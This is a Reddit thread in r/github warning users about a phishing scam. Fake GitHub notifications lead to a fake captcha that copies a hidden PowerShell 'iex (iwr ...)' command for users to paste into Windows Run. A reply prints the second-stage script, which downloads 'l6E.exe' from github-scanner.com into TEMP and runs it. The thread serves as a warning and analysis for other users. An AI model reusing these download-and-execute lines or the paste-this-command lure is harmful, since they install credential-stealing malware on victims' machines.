r/github • • Sep 18 '24

Potential Scam "github-scanner.com"

Post image

I just received an email from Github commenting on an issue.

This url gets sent to a site which asks you to do a phoney catcha.

This captcha (when clicked) copies the following code, and prompts the user to open up Windows Run.

powershell.exe -w hidden -Command "iex (iwr 'REPLACED_URL/REPLACED_FILE.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"

I have replaced the url as I don't want to spread.

Seems like the target here is windows users. Pretty lazy scam, just wanted to warn others if they haven't seen something similar. The reason why I think this is more susceptible to clicks is because (since it's sent from Github notifications) the email is valid, and is not marked as phishing or a scam by Gmail.

146 Upvotes

28 comments sorted by

View all comments

3

u/[deleted] Sep 19 '24 edited Sep 19 '24

It's a fairly obvious phishing scam attempt, they make you paste a command that will execute the following PowerShell script that downloads and injects a program called "L6E.exe" which I assume its malware to steal credentials, emails, passwords etc off your device to potentially access your GitHub account, organizations, servers, SSH Keys etc...

The code executed is as follows

    // Variables
    $webClient = New-Object System.Net.WebClient // Webclient initates HTTP to download files
    $url1 = "https://github-scanner.com/l6E.exe" // File 1
    $filePath1 = "$env:TEMP\SysSetup.exe" 
    
    // Downloads the file.
    $webClient.DownloadFile($url1, $filePath1)
    
    // Executes the software
    Start-Process -FilePath  $env:TEMP\SysSetup.exe$webClient = New-Object System.Net.WebClient
    
    // Redownloads and re-executes SysSetup.exe
    $url1 = "https://github-scanner.com/l6E.exe"
    $filePath1 = "$env:TEMP\SysSetup.exe"
    $webClient.DownloadFile($url1, $filePath1)
    Start-Process -FilePath  $env:TEMP\SysSetup.exe